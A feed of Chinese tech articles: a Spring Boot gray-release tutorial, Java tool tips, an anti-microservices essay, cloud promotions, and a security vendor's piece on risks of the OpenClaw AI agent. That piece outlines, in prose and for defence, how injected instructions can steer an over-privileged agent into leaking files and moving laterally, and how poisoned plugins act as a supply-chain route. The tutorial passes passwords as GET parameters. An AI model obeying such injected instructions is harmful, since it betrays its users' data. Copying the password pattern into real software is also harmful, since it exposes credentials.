在这个过程中,关键在于如何切分流量,确保新旧版本平稳过渡。常见的切分方式包括:
- 基于用户ID:根据用户的唯一标识,将部分用户指向新版本。
- 基于地域:先在特定地区进行发布,观察效果后再扩展到其他地区。
- 基于设备:例如,先在Android或iOS用户中进行发布。
3. 示例演示
为了更好地理解灰度发布,接下来,我们通过一个简单的 Java示例来演示基本的灰度发布策略。假设我们有一个简单的 Web应用,有两个版本的登录接口/login/v1和/login/v2,我们希望将百分之十的流量引导到v2,其余流量继续使用v1。
3.1 第一步:引入灰度策略
我们可以通过拦截器(Interceptor)来实现流量的切分。以下是一个基于Spring Boot的简单实现:
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Random;
@Component
public class GrayReleaseInterceptor implements HandlerInterceptor {
private static final double GRAY_RELEASE_PERCENT = 0.1; // 10% 流量
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String uri = request.getRequestURI();
if ("/login".equals(uri)) {
if (isGrayRelease()) {
// 重定向到新版本接口
response.sendRedirect("/login/v2");
return false;
} else {
// 使用旧版本接口
response.sendRedirect("/login/v1");
return false;
}
}
return true;
}
private boolean isGrayRelease() {
Random random = new Random();
return random.nextDouble() < GRAY_RELEASE_PERCENT;
}
}
3.2 第二步:配置拦截器
在Spring Boot中,我们需要将拦截器注册到应用中:
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Autowired
private GrayReleaseInterceptor grayReleaseInterceptor;
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(grayReleaseInterceptor).addPathPatterns("/login");
}
}
3.3 第三步:实现不同版本的登录接口
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/login")
public class LoginController {
@GetMapping("/v1")
public String loginV1(@RequestParam String username, @RequestParam String password) {
// 旧版本登录逻辑
return "登录成功 - v1";
}
@GetMapping("/v2")
public String loginV2(@RequestParam String username, @RequestParam String password) {
// 新版本登录逻辑
return "登录成功 - v2";
}
}
在上面三个步骤之后,我们就实现了登录接口地灰度发布:
- 当用户访问
/login时,拦截器会根据设定的灰度比例(10%)决定请求被重定向到/login/v1还是/login/v2。 - 大部分用户会体验旧版本接口,少部分用户会体验新版本接口。
3.4 灰度发布优化
上述示例,我们只是一个简化的灰度发布实现,实际生产环境中,我们可能需要更精细的灰度策略,例如:
- 基于用户属性:不仅仅是随机切分,可以根据用户的地理位置、设备类型等更复杂的条件。
- 动态配置:通过配置中心动态调整灰度比例,无需重启应用。
- 监控与告警:集成监控系统,实时监控新版本的性能指标,异常时自动回滚。
- A/B 测试:结合A/B测试,进一步优化用户体验和功能效果。

4. 为什么需要灰度发布?
在实际工作中,为什么我们要使用灰度发布?这里我们总结了几个重要的原因。
4.1 降低发布风险
每次发布新版本,尤其是功能性更新或架构调整,都会伴随着一定的风险。即使经过了充分的测试,实际生产环境中仍可能出现意想不到的问题。灰度发布通过将新版本逐步推向部分用户,可以有效降低全量发布可能带来的风险。
举个例子,假设你上线了一个全新的支付功能,直接面向所有用户开放。如果这个功能存在严重 bug,可能导致大量用户无法完成支付,甚至影响公司声誉。而如果采用灰度发布,先让10%的用户体验新功能,发现问题后只需影响少部分用户,修复起来也更为迅速和容易。
4.2 快速回滚
在传统的全量发布中,一旦发现问题,回滚到旧版本可能需要耗费大量时间和精力,尤其是在高并发系统中,数据状态的同步与恢复更是复杂。而灰度发布由于新版本只覆盖部分流量,问题定位和回滚变得更加简单和快速。
比如说,你在灰度发布阶段发现新版本的某个功能在某些特定条件下会导致系统崩溃,立即可以停止向新用户推送这个版本,甚至只针对受影响的用户进行回滚操作,而不用影响全部用户的正常使用。
4.3 实时监控与反馈
灰度发布让你有机会在真实的生产环境中监控新版本的表现,并收集用户的反馈。这些数据对于评估新功能的实际效果至关重要,有助于做出更明智的决策。
举个具体的场景,你新增了一个推荐算法,希望提升用户的点击率。在灰度发布阶段,你可以监控新算法带来的点击率变化、服务器负载情况等指标,确保新算法确实带来了预期的效果,而不是引入了新的问题。
4.4 提升用户体验
通过灰度发布,你可以在推出新功能时,逐步优化用户体验。先让一部分用户体验新功能,收集他们的使用反馈,根据反馈不断改进,最终推出一个更成熟、更符合用户需求的版本。
举个例子,你开发了一项新的用户界面设计,直接全量发布可能会让一部分用户感到不适应或不满意。灰度发布允许你先让一部分用户体验新界面,收集他们的意见,进行必要的调整,再逐步扩大使用范围,确保最终发布的版本能获得更多用户的认可和喜爱。
4.5 支持A/B测试
灰度发布是实现A/B测试的基础。通过将用户随机分配到不同的版本,你可以比较不同版本的表现,选择最优方案进行全面推行。这对于优化产品功能和提升用户体验具有重要意义。
比如说,你想测试两个不同的推荐算法,看哪个能带来更高的转化率。通过灰度发布,将用户随机分配到使用算法A和算法B的版本,比较它们的表现,最终选择效果更好的算法进行全面部署。
4.6 应对复杂的业务需求
在一些复杂的业务场景中,全量发布可能无法满足灵活的需求,比如分阶段推出新功能、针对不同用户群体进行差异化体验等。灰度发布提供了更高的灵活性和可控性,能够更好地适应多变的业务需求。
例如,你正在开发一个面向企业用户的新功能,希望先让部分高价值客户试用,收集他们的反馈后再决定是否全面推广。灰度发布让这一过程变得更加顺畅和可控。
5. 总结
本文,我们详细地分析了灰度发布,它是一种强大而灵活的部署策略,能有效降低新版本上线带来的风险,提高系统的稳定性和用户体验。作为Java开发者,掌握灰度发布的原理和实现方法,不仅能提升我们的技术能力,还能为团队的项目成功保驾护航。
对于灰度发布,如果你有更多的问题或想法,欢迎随时交流!
6. 学习交流
如果你觉得文章有帮助,请帮忙转发给更多的好友,或关注公众号:猿java,持续输出硬核文章。
来源:juejin.cn/post/7488321730764603402
一个Java工程师的17个日常效率工具
作为一名Java工程师,效率就是生产力。那些能让你少写代码、少改BUG、少加班的工具,往往能为你节省大量时间,让你专注于解决真正有挑战性的问题。
下面分享的这些工具几乎覆盖了Java开发全流程,从编码、调试到构建、部署,每一个环节都能大幅提升你的工作效率。
一、IDE增强类工具
1. IntelliJ IDEA终极版 + 精选插件
作为Java开发的首选IDE,IntelliJ IDEA本身已经非常强大,但配合以下插件,效率可以再提升一个档次:
- Key Promoter X: 显示你手动操作的快捷键,帮助你养成使用快捷键的习惯
- AiXcoder Code Completer: 基于AI的代码补全,比IDEA自带的更智能
- Maven Helper: 解决Maven依赖冲突的神器
- Lombok: 减少模板代码编写
- Rainbow Brackets: 彩色括号,让嵌套结构一目了然
实用技巧:创建多个Live Templates(代码模板),比如定义日志、常用异常处理、单例模式等。每天能节省几十次重复输入。
2. Lombok
虽然这是一个库,但它堪称效率工具。通过注解的方式,自动生成getter/setter、构造函数、equals/hashCode等方法,大幅减少模板代码量。
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserDTO {
private Long id;
private String username;
private String email;
// 无需编写getter/setter/构造函数/toString等
}
注意事项:使用@EqualsAndHashCode时,注意排除可能造成循环引用的字段;使用@Builder时,考虑添加@NoArgsConstructor满足序列化需求。
二、调试与性能分析工具
3. Arthas
阿里开源的Java诊断工具,它能在线排查问题,无需重启应用。最强大的是它能够实时观察方法的入参、返回值,统计方法执行耗时,甚至动态修改类的行为。
常用命令:
watch监控方法调用trace跟踪方法调用链路jad反编译类sc查找加载的类redefine热更新类
实战示例:线上问题排查,不方便加日志时,用watch命令观察方法执行:
watch com.example.service.UserService queryUser "{params,returnObj}" -x 3
4. JProfiler
Java剖析工具的王者,能够分析CPU热点、内存泄漏、线程阻塞等问题。与其他分析工具相比,JProfiler的UI更友好,数据呈现更直观。
核心功能:
- 内存视图:找出占用内存最多的对象
- CPU视图:定位热点方法
- 线程视图:发现死锁和阻塞
- 实时遥测:监控线上应用,无需重启
技巧:养成定期对自己负责的服务做性能分析的习惯,很多问题在上线前就能发现。
5. Charles/Fiddler
抓包工具是API调试的必备利器。Charles(Mac)或Fiddler(Windows)能够拦截、查看和修改HTTP/HTTPS请求和响应。
实用功能:
- 模拟网络延迟
- 请求重写
- 断点调试HTTP请求
- 反向代理
在前后端分离开发和调试第三方API时,这类工具能节省大量时间。
三、代码质量工具
6. SonarQube + SonarLint
SonarQube是静态代码分析工具,可以检测代码中的漏洞、坏味道和潜在bug。而SonarLint是其IDE插件版,能在你编码时实时提供反馈。
最佳实践:
- 在CI流程中集成SonarQube
- 为团队制定"质量门"标准
- 使用SonarLint实时检查,避免代码审查时返工
技巧:自定义规则集,忽略对特定项目不适用的规则,避免"过度洁癖"。
7. ArchUnit
用代码的方式测试架构规则,确保项目架构不会随着时间推移而腐化。
@Test
public void servicesAndRepositoriesShouldNotDependOnControllers() {
ArchRule rule = noClasses()
.that().resideInAPackage("..service..")
.or().resideInAPackage("..repository..")
.should().dependOnClassesThat().resideInAPackage("..controller..");
rule.check(importedClasses);
}
将架构约束加入单元测试,比写文档更有效,因为违反规则会导致测试失败。
8. JaCoCo
代码覆盖率工具,与Maven/Gradle集成,生成直观的HTML报告。它不仅统计单元测试覆盖了哪些代码,还能显示哪些分支没有测试到。
实用配置:在Maven中设置覆盖率阈值,低于阈值则构建失败:
<configuration>
<rules>
<rule>
<element>BUNDLE</element>
<limits>
<limit>
<counter>LINE</counter>
<value>COVEREDRATIO</value>
<minimum>0.80</minimum>
</limit>
</limits>
</rule>
</rules>
</configuration>
四、API开发与测试工具
9. Postman + Newman
Postman是API开发和测试的标准工具,而Newman是其命令行版本,适合集成到CI/CD流程中。
高级用法:
- 环境变量管理不同测试环境
- 请求前/后脚本自动化测试
- 导出集合到Newman在CI中执行
- 团队共享API集合
技巧:为每个项目创建环境变量集合,包含测试环境、开发环境、生产环境配置,一键切换。
10. OpenAPI Generator
从OpenAPI(Swagger)规范自动生成API客户端和服务器端代码。
openapi-generator generate -i swagger.json -g spring -o my-spring-server
前后端并行开发时,通过API优先设计,让前端可以基于Swagger UI与Mock服务器工作,而后端则基于生成的接口实现业务逻辑。
五、数据库工具
11. DBeaver
全能型数据库客户端,支持几乎所有主流数据库,功能强大且开源免费。
必备功能:
- ER图可视化
- 数据导出/导入
- SQL格式化
- 数据库比较
- 执行计划分析
技巧:使用其"SQL模板"功能,保存常用查询模板,提高重复查询效率。
12. Flyway/Liquibase
数据库版本控制工具,将数据库结构变更纳入版本管理,确保开发、测试和生产环境的数据库结构一致性。
以Flyway为例:
@Bean
public Flyway flyway() {
return Flyway.configure()
.dataSource(dataSource)
.locations("classpath:db/migration")
.load();
}
最佳实践:
- 每个变更一个脚本文件
- 脚本文件命名规范化
- 脚本必须是幂等的
- 将验证步骤集成到CI流程
六、构建与部署工具
13. Gradle + Kotlin DSL
虽然Maven仍是Java构建工具的主流,但Gradle的灵活性和性能优势明显。使用Kotlin DSL而非Groovy可以获得更好的IDE支持和类型安全。
plugins {
id("org.springframework.boot") version "2.7.0"
id("io.spring.dependency-management") version "1.0.11.RELEASE"
kotlin("jvm") version "1.6.21"
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
testImplementation("org.springframework.boot:spring-boot-starter-test")
}
优势:
- 增量构建更快
- 依赖缓存更智能
- 自定义任务更灵活
- 多项目构建更高效
14. Docker + Docker Compose
容器化是现代Java开发的标配,Docker让环境一致性问题成为历史。
实用命令:
# 启动开发环境所需的所有服务
docker-compose up -d
# 查看容器日志
docker logs -f container_name
# 进入容器内部
docker exec -it container_name bash
技巧:创建一个包含常用中间件(MySQL、Redis、RabbitMQ等)的docker-compose.yml,一键启动开发环境。
15. GitHub Actions/Jenkins
CI/CD是提高团队效率的关键环节。GitHub Actions适合开源项目,Jenkins则更适合企业内部构建流程。
GitHub Actions示例:
name: Java CI
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
java-version: '17'
distribution: 'adopt'
- name: Build with Gradle
run: ./gradlew build
最佳实践:将代码风格检查、单元测试、集成测试、安全扫描全部纳入CI流程,确保代码质量。
七、辅助工具
16. PlantUML
用代码生成UML图,比拖拽式画图工具更高效,特别是需要频繁修改图表时。可以和版本控制系统无缝集成。
@startuml
package "Customer Domain" {
class Customer
class Address
Customer "1" *-- "n" Address
}
package "Order Domain" {
class Order
class LineItem
Order "1" *-- "n" LineItem
Order "*" -- "1" Customer
}
@enduml
IDEA集成:安装PlantUML插件,编写代码时实时预览图表。
17. Obsidian/Logseq
知识管理工具,基于Markdown文件的本地知识库。对于需要持续学习的Java工程师来说,构建个人知识体系至关重要。
推荐用法:
- 每学习一个新技术,创建一个页面
- 记录常见错误和解决方案
- 构建项目文档和架构决策记录
- 使用日常笔记捕捉想法和灵感
技巧:利用双向链接功能,将知识点相互关联,构建知识网络,而非简单的知识树。
总结
最后,工具再好,也需要时间精力去掌握。建议每次只引入1-2个新工具,熟练后再考虑扩展。
毕竟,真正的效率来源于熟练度,而非工具数量。
来源:juejin.cn/post/7506414257399939111
微服务正在悄然消亡:这是一件美好的事
最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章《Microservices Are Quietly Dying — And It’s Beautiful》,许多观点直击痛点、非常启发,于是我顺手把它翻译出来,分享给大家,也希望能给同样在复杂性与效率之间权衡的团队一些参考。
微服务正在悄然消亡:这是一件美好的事
为了把我们的创业产品扩展到数百万用户,我们搭建了 47 个微服务。
用户从未达到一百万,但我们达到了每月 23,000 美元的 AWS 账单、长达 14 小时的故障,以及一个再也无法高效交付新功能的团队。
那一刻我才意识到:我们并没有在构建产品,而是在搭建一座分布式的自恋纪念碑。

我们都信过的谎言
五年前,微服务几乎是教条。Netflix 用它,Uber 用它。每一场技术大会、每一篇 Medium 文章、每一位资深架构师都在高喊同一句话:单体不具备可扩展性,微服务才是答案。
于是我们照做了。我们把 Rails 单体拆成一个个服务:用户服务、认证服务、支付服务、通知服务、分析服务、邮件服务;然后是子服务,再然后是调用服务的服务,层层套叠。
到第六个月,我们已经在 12 个 GitHub 仓库里维护 47 个服务。我们的部署流水线像一张地铁图,架构图需要 4K 显示器才能看清。
当“最佳实践”变成“最差实践”
我们不断告诫自己:一切都在运转。我们有 Kubernetes,有服务网格,有用 Jaeger 的分布式追踪,有 ELK 的日志——我们很“现代”。
但那些光鲜的微服务文章从不提的一点是:分布式的隐性税。
每一个新功能都变成跨团队的协商。想给用户资料加一个字段?那意味着要改五个服务、提三个 PR、协调两周,并进行一次像劫案电影一样精心编排的数据库迁移。
我们的预发布环境成本甚至高于生产环境,因为想测试任何东西,都需要把一切都跑起来。47 个服务在 Docker Compose 里同时启动,内存被疯狂吞噬。
那个彻夜崩溃的夜晚
凌晨 2:47,Slack 被消息炸翻。
生产环境宕了。不是某一个服务——是所有服务。支付服务连不上用户服务,通知服务不断超时,API 网关对每个请求都返回 503。
我打开分布式追踪面板:一万五千个 span,全线飘红。瀑布图像抽象艺术。我花了 40 分钟才定位出故障起点。
结果呢?一位初级开发在认证服务上发布了一个配置变更,只是一个环境变量。它让令牌校验多了 2 秒延迟,这个延迟在 11 个下游服务间层层传递,超时叠加、断路器触发、重试逻辑制造请求风暴,整个系统在自身重量下轰然倒塌。
我们搭了一座纸牌屋,却称之为“容错架构”。
我们花了六个小时才修复。并不是因为 bug 复杂——它只是一个配置的单行改动,而是因为排查分布式系统就像破获一桩谋杀案:每个目击者说着不同的语言,而且有一半在撒谎。
那个被忽略的低语
一周后,在复盘会上,我们的 CTO 说了句让所有人不自在的话:
“要不我们……回去?”
回到单体。回到一个仓库。回到简单。
会议室一片沉默。你能感到认知失调。我们是工程师,我们很“高级”。单体是给传统公司和训练营毕业生用的,不是给一家正打造未来的 A 轮初创公司用的。
但随后有人把指标展开:平均恢复时间 4.2 小时;部署频率每周 2.3 次(从单体时代的每周 12 次一路下滑);云成本增长速度比营收快 40%。
数字不会说谎。是架构在拖垮我们。
美丽的回归
我们用了三个月做整合。47 个服务归并成一个模块划分清晰的 Rails 应用;Kubernetes 变成负载均衡后面的三台 EC2;12 个仓库的工作流收敛成一个边界明确的仓库。
结果简直让人尴尬。
部署时间从 25 分钟降到 90 秒;AWS 账单从 23,000 美元降到 3,800 美元;P95 延迟提升了 60%,因为我们消除了 80% 的网络调用。更重要的是——我们又开始按时交付功能了。
开发者不再说“我需要和三个团队协调”,而是开始说“午饭前给你”。
我们的“分布式系统”变回了结构良好的应用。边界上下文变成 Rails 引擎,服务调用变成方法调用,Kafka 变成后台任务,“编排层”……就是 Rails 控制器。
它更快,它更省,它更好。
我们真正学到的是什么
这是真相:我们为此付出两年时间和 40 万美元才领悟——
微服务不是一种纯粹的架构模式,而是一种组织模式。Netflix 需要它,因为他们有 200 个团队。你没有。Uber 需要它,因为他们一天发布 4,000 次。你没有。
复杂性之所以诱人,是因为它看起来像进步。 拥有 47 个服务、Kubernetes、服务网格和分布式追踪,看起来很“专业”;而一个单体加一套 Postgres,看起来很“业余”。
但复杂性是一种税。它以认知负担、运营开销、开发者幸福感和交付速度为代价。
而大多数初创公司根本付不起这笔税。
我们花了两年时间为并不存在的规模做优化,同时牺牲了能让我们真正达到规模的简单性。
你不需要 50 个微服务,你需要的是自律
软件架构的“肮脏秘密”是:好的设计在任何规模都奏效。
一个结构良好的单体,拥有清晰的模块、明确的边界上下文和合理的关注点分离,比一团由希望和 YAML 勉强粘合在一起的微服务乱麻走得更远。
微服务并不是因为“糟糕”而式微,而是因为我们出于错误的理由使用了它。我们选择了分布式的复杂性而不是本地的自律,选择了运营的负担而不是价值的交付。
那些悄悄回归单体的公司并非承认失败,而是在承认更难的事实:我们一直在解决错误的问题。
所以我想问一个问题:你构建微服务,是在逃避什么?
如果答案是“一个凌乱的代码库”,那我有个坏消息——分布式系统不会修好坏代码,它只会让问题更难被发现。
来源:juejin.cn/post/7563860666349649970
百度智能云开工采购季助力低成本解锁AI生产力
当“赛博养虾”成为一种新晋社交货币,一场关于AI落地的范式革命已然开启。近期,开源AI智能体OpenClaw因其酷似龙虾的图标和强大的自动化能力火爆全球,被开发者们亲昵地称为“小龙虾”,掀起了一场“全民养虾”的热潮 。
在这场“养虾”运动的背后,是海量的算力消耗与高昂的Token成本。如何让每一位“养虾人”和企业用户都能低成本、高效率地拥抱这波技术红利?据悉,2026年2月25日,百度智能云正式启动“云启惠聚·企业采购季”开工季大促活动,不仅将OpenClaw的部署门槛降至冰点,更以极致的价格和丰厚的权益,为企业和开发者们开年复工的智能升级“囤好粮”。
极简部署“养虾”,9.9元开启AI助理时代
“养虾”虽火,但环境配置、模型接入等技术门槛曾让不少爱好者望而却步,甚至催生了付费“上门安装”的生意 。为了让AI普惠至每一位用户,百度智能云在本次采购季中推出了针对性的极简部署方案与超低折扣。
针对近期火爆的OpenClaw“养虾”热潮,百度智能云推出轻量应用服务器9.9元/月起,可实现AI助手极简部署;同时面向中小网站建设、开发测试等传统场景,推出云服务器经济型E2 19.9元/年惊爆价。两款服务器分别瞄准AI极速上手与通用业务上云,以极致性价比满足复工季的多样化算力需求。
“OpenClaw的爆火,折射出市场对‘能干活’的AI的迫切期待。”百度智能云相关负责人表示,“本次采购季,我们整合了从算力、模型到部署工具的全链路资源,希望让企业和个人都能零门槛迈入‘代理型AI’应用的新阶段。”


企业级“粮仓”全面升级,万元券包助跑复工季
除了面向开发者的“养虾”盛宴,本次“开工采购季”更为广大企业客户准备了丰厚的“开工红包”,直击企业数字化转型中的成本痛点。
邀请企业认证,得1999元红利津贴:作为本次活动中力度最大的满减福利,活动期间,邀请百度云用户完成企业实名认证,双方均可获得1999元的专属红利津贴。该津贴可用于云服务器BCC、对象存储BOS、人脸识别等多种核心产品,极大降低企业上云试错成本。
领万元新购/续费券包,至高立减6000元:针对不同企业需求,百度智能云推出多梯度满减券。新用户可享满200减30至满1500减525元不等的专享券;而对于有批量采购需求的企业,最高可领取满20000减6000元的超值续费券,覆盖计算、存储、网络、安全及AI全栈产品。
限时秒杀与100%中奖锦鲤池:每周不同主题的秒杀日将持续点燃采购热情。通用文字识别低至1元、文档解析5000页仅199元、数字员工套餐9.9元起 。活动期间,只要完成实名认证或订单满额,即可参与抽奖,京东卡、小度智能屏等好礼100%中奖,更有高额惊喜券随机放送。
技术普惠,重构AI生产力“新成本”
在OpenClaw引发的“Token经济学”讨论中,国产模型凭借极致的性价比成为全球“养虾人”的热门选择 。百度智能云此次采购季也深度呼应了这一趋势。
以千帆大模型平台相关产品为例,大模型Tokens量包低至20元/年(产品首购) 。配合云服务器、CDN等基础资源的超低折扣,百度智能云正在构建一个从算力基座到AI应用层的“高性价比创新闭环”。
业内分析认为,随着OpenClaw等智能体框架的普及,AI的商业模式正从“让更多人对话”转向“让更多智能体持续做事” 。百度智能云此次“开工采购季”敏锐地捕捉到了这一节点,通过精准的优惠组合,不仅解决了开发者“养虾”的燃眉之急,更为广大企业在AI时代的组织变革和效率升级,提供了坚实的“粮草”后盾。

一大波危险的“龙虾”来袭,绿盟君助您安全“养虾”
近期,工业和信息化部网络安全威胁和漏洞信息共享平台(NVDB)发布了一则重磅预警:OpenClaw开源AI智能体部分实例在默认或不当配置下存在严重安全风险,极易引发网络攻击、信息泄露等安全问题。这一预警犹如一石激起千层浪,引发了业界对AI智能体安全的高度关注。

OpenClaw引领智能体全面爆发,
安全问题频发
2026年,AI智能体技术迎来全面爆发。作为其中的代表性项目,OpenClaw(曾用名Clawdbot、Moltbot)凭借其强大的能力备受青睐——它能够整合多渠道通信能力与大语言模型,构建具备持久记忆、主动执行能力的定制化AI助手,支持本地私有化部署。
然而,正是这样一位“能干的助手”,却可能成为潜伏在您网络中的“定时炸弹”。
OpenClaw三大核心风险,不容忽视
OpenClaw由个人程序员编写,从发布到爆火仅仅几个月时间,由于自身设计特点,存在天然的“信任边界模糊”问题。它具备持续运行、自主决策、调用系统和外部资源等能力,在缺乏有效权限控制、审计机制和安全加固的情况下,将面临三重严重风险:
安全风险1:代码安全堪忧——三天两高危RCE,系统可被恶意接管
OpenClaw的代码库在短期内连续曝出两个高危远程代码执行漏洞(RCE)。攻击者无需复杂操作,即可利用漏洞在目标主机上执行任意代码,实现从“入侵”到“接管”的一步跨越。一旦得手,OpenClaw所在的主机将成为攻击者的“肉鸡”,企业核心数据、内部网络将完全暴露在风险之下。这不是危言耸听,而是已在野外被积极利用的真实威胁。

安全风险2: 盲目信任放大风险——“以安全换便捷”,Agent沦为攻击跳板
OpenClaw的设计理念强调“自主性”,默认配置往往为了便捷而牺牲安全。许多用户在部署时,为了能让工作更便捷,需要赋予它极高的权限,甚至让其直接访问敏感系统或数据库。这种对Agent的“盲目信任”,让攻击者能够通过诱导式指令,轻松操纵OpenClaw执行越权操作——比如读取机密文件、发送恶意邮件、横向移动攻击内网其他主机。你以为它是你的得力助手,实际上它可能正在被敌人遥控。

安全风险3: 插件系统成供应链突破口——隔离机制缺失,投毒威胁放大
OpenClaw支持通过Skills插件系统扩展功能,但这片“沃土”也成为攻击者的乐园。第三方插件来源不明、供应链环节缺乏审查,加之OpenClaw自身对插件运行缺乏有效的隔离机制,使得一个被投毒的插件就能成为“特洛伊木马”。一旦插件被安装,恶意代码便能随OpenClaw权限肆意横行,窃取数据、植入后门,甚至通过插件更新机制将投毒扩散至更多用户。供应链安全的薄弱环节,在此被无限放大。

谷歌在2月份就已经连夜封禁OpenClaw,Facebook、Mata、微软等几家巨头也不允许员工在公司内部使用OpenClaw。微软安全团队已将此情形定性为“具有持久凭据的不可信代码执行环境”,这一评价值得每一个正在或计划使用AI智能体的企业深思。
客户真实痛点,您是否感同身受?
在与众多企业用户的交流中,我们听到了两种典型的担忧:
客户声音1:“我们公司有员工自己偷偷部署了OpenClaw,我担心这些‘影子AI’导致本地主机端口暴露,引发信息泄露。但我连它们在哪里都不知道,更别提管控了。”
客户声音2:“我们业务部门正式部署了OpenClaw,但我想知道它到底做了哪些外部访问?这些访问是否合法合规?是否存在被利用的风险?”
传统安全方案为何失效?
面对OpenClaw这类新型AI智能体,传统安全方案显得力不从心:
流量内容不可见:OpenClaw用户侧API主要进行常规HTTPS调用,流量加密传输,传统应用识别方式完全失效。
端口识别易绕过:OpenClaw虽有默认端口,但极易被修改,单纯依赖端口识别不仅准确率低,还容易被攻击者绕过。
绿盟科技OpenClaw安全防护方案:
给AI装上“安全护栏”
针对OpenClaw带来的新型安全挑战,绿盟科技创新性地推出低成本“AI安全一体机+绿盟防火墙NF联动”解决方案,帮助用户实现对AI智能体的精准识别与全面管控。

方案核心能力
精准识别:AI安全一体机内置AI智能体发现能力,可主动扫描内网环境,精确识别哪些主机部署了OpenClaw等AI智能体。
灵活管控:根据企业策略,可对非法部署的OpenClaw进行网络隔离,对合法部署的OpenClaw进行全程行为跟踪。
纵深防御:防火墙对OpenClaw的会话访问进行实时分析,识别恶意URL、入侵威胁、病毒等风险,确保每一次访问都安全可控。
方案优势
识别精准:从资产纬度对AI智能体进行主动识别,告别传统方案的误报与漏报。
部署便捷:不影响原有组网,快速接入,即插即用。
全面可视:对OpenClaw的访问行为进行全程跟踪分析,让安全风险无处遁形。
两大应用场景,全方位守护
场景1:对非法OpenClaw进行精准封堵
当员工私自部署OpenClaw,AI安全一体机第一时间发现并定位,将非法安装的PC信息同步给防火墙。防火墙自动生成黑名单策略——无论外部试图访问该OpenClaw,还是OpenClaw主动外联,都将被实时阻断,将风险扼杀在萌芽状态。

场景2:对合法OpenClaw进行安全管控
对于业务部门正式部署的OpenClaw,AI安全一体机将其纳入管控范围。防火墙生成精细化管控策略,对OpenClaw的所有访问会话记录流量日志,进行全方位安全检测,避免恶意URL、入侵威胁、病毒等威胁趁虚而入,让业务在安全轨道上平稳运行。

两会强调“发展与安全并重”,
绿盟科技如何解读?
近期全国两会多次强调“发展与安全并重”,这释放了一个清晰信号:安全不是AI创新的刹车,而是AI落地的护栏和加速器。
作为安全厂商,我们的目标就是让客户在AI的高速公路上既能跑得快,又能刹得住、不跑偏。具体到企业落地,要避免“安全拖慢AI”或“AI裸奔”,我们主要通过“双引擎驱动”和“原生融合”的策略来解决。
以智增效:让安全成为创新加速器
很多企业担心:上了安全措施,AI应用会不会变慢?我们的答案是:用更聪明的AI去解决安全效率问题。
绿盟“风云卫”AI安全能力平台,本质上就是一个“安全效率倍增器”。它将AI能力“原子化”地嵌入安全运营的每一个环节,让过去需要大量人工的重复性工作变得自动化、智能化。面对海量安全告警,我们的AI安全运营中心可以实现“AI优化AI”的能效革命,大幅提升安全事件的处置效率。
为AI“上险”:拒绝“裸奔”式创新
我们坚决反对“先狂奔、再补胎”的裸奔式创新。当企业把核心业务交给大模型时,大模型本身的幻觉、数据泄露、提示词注入等风险,就成了企业的“阿喀琉斯之踵”。
绿盟的做法是构建一套从 “事前评估、事中防护、事后审计”的AI原生纵深防御体系,形象地说就是给大模型穿上“金钟罩”。我们推出的“清风卫”系列安全防护产品,能在模型运行时实时防御各类新型攻击。同时,针对合规要求,绿盟大模型备案服务能够帮助企业构建“可自证”的合规体系,提前预见风险,规避千万级罚款风险。
OpenClaw的“虾”来了,别让您的网络成为坏虾的“养殖场”。立即行动,为您的AI应用加上一道“安全护栏”!
凭借二十多年的攻防实战经验,绿盟科技致力于成为您智能化转型路上最可靠的“副驾驶”——帮您看清路况、预警风险,让您可以更安心地手握方向盘,专注于业务创新的加速与超越,共同驶向智能化的未来。
e签宝对话中建四局|产业为基,AI为翼,解码建筑央企的数字化章法
建筑业的转型逻辑正在被时代重写。行业共识日趋清晰:数字化不再是锦上添花的可选项,而是关乎企业核心竞争力的必答题。而当AI浪潮席卷各行各业,这道必答题又增添了新的难度与想象空间。
在此背景下,作为体量庞大、链条复杂的央企代表,中建四局的数字化转型实践尤为引人关注。这家拥有数万工人的建筑巨头,将如何拥抱AI?又将如何走出国企不同于民企的转型路径?当自身的数字基建初具规模,它又如何将能力向外辐射,推动产业链从单点提效走向系统升级?本期e签宝《对话》栏目走进中建四局,与其数字化部总经理符和清展开深度对谈,共同解码这家建筑央企在数字时代的破局思路与实践。
拥抱AI从具体场景做起、AI落地的“小成果”逻辑,让优化叠加
AI是这场对话的时代背景,也是绕不开的开场话题。行业自上而下的共识正在凝聚:AI不再是遥不可及的未来概念,而是建筑业提质增效的现实变量。但“如何用、用在哪儿”仍是普遍困惑。有行业调研显示,建筑企业在推进AI时存在三类典型误区:重技术基座轻应用场景、试图全自建导致门槛过高、初期成效未达预期便选择观望。
正是在这样的背景下,e签宝联合创始人、高级副总裁张晋直言,AI浪潮席卷各行各业,对国央企影响大吗?中建四局在落地应用上又做了哪些探索?

中建四局数字化部总经理 符和清坦言,国央企对AI的重视程度出奇一致,首先是响应国家战略的需要。但在具体落地上,他的判断颇为清醒:AI不会是某个巨无霸式的综合大平台,而应是底层平台支撑、上层场景开花的格局——真正能够改变生产效率的,往往是那些像智能体一样聚焦具体环节的小众应用。
循着这个思路,中建四局已经在多个场景上展开探索。得益于两年前推动的合同结构化,他们在合同智能审查上有了用武之地;施工图纸审查、商务算量、目标成本测算等环节,AI也开始介入那些繁琐的重复劳动。符和清把这些称为“小成果”——没有惊天动地的大平台,但在知识库搜索、制度查询这些细碎场景里,效率的提升是实实在在的。
他打了个比方:AI不像是造出一辆全新的汽车,更像是优化了某个齿轮、改进了某个发动机零件。未来的数字化,一定是无数个这样的“小优化”叠加起来,最终让整个系统跑得更顺、更高效。
深耕场景、务实推进的这种思路,也将贯穿于中建四局对数字化每一个命题的思考与实践之中。
从蓝图到一线、国央企数字化的慢功夫与真问题
同样的数字化,国央企与民企的两样走法
